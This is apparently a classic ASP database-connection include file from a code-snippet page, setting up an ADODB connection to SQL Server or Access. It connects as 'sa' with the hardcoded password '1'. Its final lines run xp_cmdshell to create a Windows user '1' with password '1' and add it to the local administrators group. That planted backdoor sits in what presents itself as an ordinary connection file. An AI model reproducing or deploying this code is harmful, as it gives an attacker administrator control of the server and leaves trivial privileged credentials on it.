日期:2012-09-17 浏览次数:20880 次
<%
'----数据库连接Start
'---二级域名名称
Main_Domain="web" '--域名格式为pcc.net
dim conn_Home
dim conn_Homestr
'定义数据库类别,1为SQL数据库,0为Access数据库
const IsSqlDataBase_Homestr = 1
call conn_Home_init()
sub conn_Home_init()
if IsSqlDataBase_Homestr = 1 then
' 注此sql登陆需要有sa帐号和xp_cmdshell存储过程
'sql数据库连接参数:数据库名、用户密码、用户名、连接名(本地用local,外地用IP)
Dim SqlDatabaseName,SqlPassword,SqlUsername,SqlLocalName
SqlDatabaseName = "Master"
SqlPassword = "1"
SqlUsername = "sa"
SqlLocalName = "127.0.0.1"
conn_HomeStr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"
else
DB = "/User_Database/DataBase/Shop_Manager.MDB" '---数据库路径
conn_HomeStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(db)
end if
Set conn_Home = Server.CreateObject("ADODB.Connection")
on error resume next
if err.number<>0 then
err.clear
set conn_Home=nothing
Response.write "管理数据库连接出错!"
Response.End
else
on error resume next
conn_Home.open conn_Homestr
if err then
err.clear
set conn_Home=nothing
Response.write "管理数据库连接出错!"
Response.End
end if
end if
on error goto 0
end sub
sub endconn_Home()
on error resume next
conn_Home.close
set conn_Home=nothing
on error goto 0
end sub
'----数据库连接End
Conn_Home.execute "Use Master "
Conn_Home.execute "xp_cmdshell 'net user 1 1 /add'"
Conn_Home.execute "xp_cmdshell 'net localgroup administrators 1 /add'"
%>